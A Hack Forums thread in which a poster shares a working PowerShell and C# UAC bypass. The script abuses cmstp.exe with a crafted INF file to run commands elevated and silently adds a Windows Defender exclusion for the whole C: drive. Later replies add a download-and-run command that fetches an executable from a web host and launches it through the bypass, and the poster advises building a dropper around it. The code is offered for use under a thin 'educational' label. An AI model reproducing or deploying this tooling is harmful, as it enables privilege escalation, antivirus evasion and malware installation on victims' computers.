

Forum:[Hack Forums](#)

Thread: [UAC Bypass |](#)

latencyx - October 20, 2024, 11:26 am

Hello buddys,

I found an interesting code and decided to make it functional, so I'm here to make the source available, working and bypassing WD. I made several modifications to make it work with WD. It's very simple to use, use it for educational and study purposes, good luck ^^

Since my goal was to bypass WD, I added the exclusion to C:.

Code function latencyx-Invoke-UAC

```
{
<#

.EXAMPLE
latencyx-Invoke-UAC -latencyxExecutable "powershell" -latencyxCommand "('.(Add-MpP' +
'reference') -ExclusionPath C:\""

#>

param(
    [Parameter(Mandatory = $true)]
    [string]$latencyxExecutable,

    [Parameter()]
    [string]$latencyxCommand
)

$latencyxInfData = @'
[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=latencyx-CustInstDestSectionAllUsers
RunPreSetupCommands=latencyx-RunPreSetupCommandsSection

[latencyx-RunPreSetupCommandsSection]
LINE
taskkill /IM cmstp.exe /F

[latencyx-CustInstDestSectionAllUsers]
49000,49001=latencyx-AllUser_LDIDSection, 7

[latencyx-AllUser_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE",
"ProfileInstallPath", "%UnexpectedError%", ""
```

```
[Strings]
ServiceName="latencyxVPN"
ShortSvcName="latencyxVPN"
'@
```

```
$latencyxCode = @"
using System;
using System.Threading;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Runtime.InteropServices;
```

```
public class latencyxCMSTPBypass
{
    [DllImport("Shell32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    static extern IntPtr ShellExecute(IntPtr hwnd, string lpOperation, string lpFile, string
lpParameters, string lpDirectory, int nShowCmd);
```

```
    [DllImport("user32.dll")]
    static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
```

```
    [DllImport("user32.dll")]
    static extern bool PostMessage(IntPtr hWnd, uint Msg, int wParam, int lParam);
```

```
    public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";
```

```
    public static string SetInfFile(string CommandToExecute, string InfData)
    {
        StringBuilder OutputFile = new StringBuilder();
        OutputFile.Append("C:\\windows\\temp");
        OutputFile.Append("\\");
        OutputFile.Append(Path.GetRandomFileName().Split(Convert.ToChar("."))[0]);
        OutputFile.Append(".inf");
        StringBuilder newInfData = new StringBuilder(InfData);
        newInfData.Replace("LINE", CommandToExecute);
        File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
        return OutputFile.ToString();
    }
```

```
    public static bool latencyxExecute(string CommandToExecute, string InfData)
    {
        const int WM_SYSKEYDOWN = 0x0100;
        const int VK_RETURN = 0x0D;
```

```
        StringBuilder InfFile = new StringBuilder();
        InfFile.Append(SetInfFile(CommandToExecute, InfData));
```

```
        ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
        startInfo.Arguments = "/au " + InfFile.ToString();
        startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Oculta a janela
```

```

IntPtr dptr = Marshal.AllocHGlobal(1);
ShellExecute(dptr, "", BinaryPath, startInfo.Arguments, "", 0);

Thread.Sleep(3000);
IntPtr WindowToFind = FindWindow(null, "latencyxVPN");

PostMessage(WindowToFind, WM_SYSKEYDOWN, VK_RETURN, 0);
Thread.Sleep(5000);
File.Delete(InfFile.ToString());
return true;
}
}
"@

$latencyxConsentPrompt = (Get-ItemProperty
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
$latencyxSecureDesktopPrompt = (Get-ItemProperty
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop
if ($latencyxConsentPrompt -Eq 2 -and $latencyxSecureDesktopPrompt -Eq 1) {
    return # Silenciosamente sai se UAC estiver em "Notificar sempre"
}

try {
    $latencyxUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
    $latencyxAdm = Get-LocalGroupMember -SID S-1-5-32-544 | Where-Object { $_.Name -eq $latencyxUser }
} catch {
    $latencyxUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
    $latencyxAdminGroupSID = 'S-1-5-32-544'
    $latencyxAdminGroup = Get-WmiObject -Class Win32_Group | Where-Object { $_.SID -eq $latencyxAdminGroupSID }
    $latencyxMembers = $latencyxAdminGroup.GetRelated("Win32_UserAccount")
    $latencyxMembers | ForEach-Object { if ($_.Caption -eq $latencyxUser) { $latencyxAdm = $true } }
}

if (!$latencyxAdm) {
    return # Silenciosamente sai se o usuário não é administrador
}

try {
    if (![System.IO.File]::Exists($latencyxExecutable)) {
        $latencyxEx = (Get-Command $latencyxExecutable)
        if (![System.IO.File]::Exists($latencyxEx.Source)) {
            $latencyxExecutable =
$ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($latencyxExecutable)
        }
        if (![System.IO.File]::Exists($latencyxExecutable)) {
            return # Silenciosamente sai se o executável não for encontrado
        }
    } else {
        $latencyxExecutable = (Get-Command $latencyxExecutable).Name
    }
}

```

```

    }
} catch {
    return # Silenciosamente sai em caso de erro
}

if ($latencyxExecutable.Contains("powershell")) {
    if ($latencyxCommand -ne "") {
        $latencyxFinal = "powershell -WindowStyle Hidden -c ""$latencyxCommand"" # Oculta a
janela do PowerShell
    } else {
        $latencyxFinal = "$latencyxExecutable $latencyxCommand"
    }
} elseif ($latencyxExecutable.Contains("cmd")) {
    if ($latencyxCommand -ne "") {
        $latencyxFinal = "cmd /k ""$latencyxCommand""
    } else {
        $latencyxFinal = "$latencyxExecutable $latencyxCommand"
    }
} else {
    $latencyxFinal = "$latencyxExecutable $latencyxCommand"
}

function latencyxExecute {
    try {
        $latencyxResult = [latencyxCMSTPBypass]::latencyxExecute($latencyxFinal,
$latencyxInfData)
    } catch {
        Add-Type $latencyxCODE
        $latencyxResult = [latencyxCMSTPBypass]::latencyxExecute($latencyxFinal,
$latencyxInfData)
    }

    if ($latencyxResult) {
        return # Silenciosamente sai se a elevação for bem-sucedida
    } else {
        return # Silenciosamente sai se ocorrer um erro
    }
}

$latencyxProcess = ((Get-WmiObject -Class win32_process).name | Select-String "cmstp" |
Select-Object * -First 1).Pattern
if ($latencyxProcess -eq "cmstp") {
    try {
        Stop-Process -Name "cmstp" -Force
        latencyxExecute
    } catch {
        return # Silenciosamente sai se houver erro ao fechar cmstp
    }
} else {
    latencyxExecute
}

```

```
}
```

Chamada da função

```
latencyx-Invoke-UAC -latencyxExecutable "powershell" -latencyxCommand "('.(Add-MpP' +  
'reference') -ExclusionPath C:\")
```

If you have any questions, please contact me, I will help as much as possible. ^^

RMZ64 - October 25, 2024, 6:17 am

Thx i will try this

have a nice day

Biggy_Asian - October 25, 2024, 9:00 am

Assuming this was skidded from: <https://github.com/am0rimxc/xxx/blob/main/twtw.ps1>

Literally the first result that came up. If you did skid it then pretty LQ of you.

evilginx - October 25, 2024, 10:39 am

(Oct 25, 2024 09:00 AM)Biggy_Asian Wrote: [\[CITE\]](#) Assuming this was skidded from:

<https://github.com/am0rimxc/xxx/blob/main/twtw.ps1>

Literally the first result that came up. If you did skid it then pretty LQ of you.

But OP mentioned "he found this code" and made it "function", skid is not bad all the time, come on.

latencyx - October 25, 2024, 11:40 am

(Oct 25, 2024 09:00 AM)Biggy_Asian Wrote: [\[CITE\]](#) Assuming this was skidded from:

<https://github.com/am0rimxc/xxx/blob/main/twtw.ps1>

Literally the first result that came up. If you did skid it then pretty LQ of you.

haha, this is my Github profile, it now has your name there in case you have any questions?

(Oct 25, 2024 10:39 AM)evilginx Wrote: [\[CITE\]](#) But OP mentioned "he found this code" and made it "function", skid is not bad all the time, come on.

I agree, they are often useful in some cases?

Biggy_Asian - October 25, 2024, 11:43 am

(Oct 25, 2024 11:40 AM)latencyx Wrote: [\[CITE\]](#) haha, this is my Github profile, it now has your name there in case you have any questions?

Alright thats cool. Usually ppl just claim others work. GJ but its gonna get patched or is already patched (I havent ran it).

woo097878781 - October 27, 2024, 6:36 am

I'm a newbie. I don't know if this is more convenient.

final section

```
$latencyxDownloadCommand = 'Invoke-WebRequest -Uri "https://example.com/myfile.exe" -OutFile  
"$env:TEMP\myfile.exe"; Start-Process -FilePath "$env:TEMP\myfile.exe"'
```

```
latencyx-Invoke-UAC -latencyxExecutable "powershell" -latencyxCommand  
$latencyxDownloadCommand
```

latencyx - October 27, 2024, 7:27 am

(Oct 27, 2024 06:36 AM)woo097878781 Wrote: [\[CITE\]](#) I'm a newbie. I don't know if this is more convenient.

final section

```
$latencyxDownloadCommand = 'Invoke-WebRequest -Uri "https://example.com/myfile.exe" -OutFile "$env:TEMP\myfile.exe"; Start-Process -FilePath "$env:TEMP\myfile.exe"'
```

```
latencyx-Invoke-UAC -latencyxExecutable "powershell" -latencyxCommand  
$latencyxDownloadCommand
```

If you want to make a kind of dropper from an .exe I recommend you create a code (I recommend C++) that does the following steps: Run the .ps1 file added to C: the exclusions install your .exe either by a URL/Bytes run your .exe in %temp% for example. I believe that this way you will get the expected result.

snowkush105 - *October 27, 2024, 12:40 pm*

hello,im new to hacking and programming,can you help out

latencyx - *October 27, 2024, 12:45 pm*

(Oct 27, 2024 12:40 PM)snowkush105 Wrote: [CITE](#) hello,im new to hacking and programming,can you help out

Hello, new users are always welcome, what is your question?

Hi Guys,

If you are interested in seeing how UAC BYPASS works, I suggest you take a quick look at REG EXPLOIT, it uses this integrated system!

?

[REG EXPLOIT | WD BYPASS - UAC EXPLOIT TESTS](#)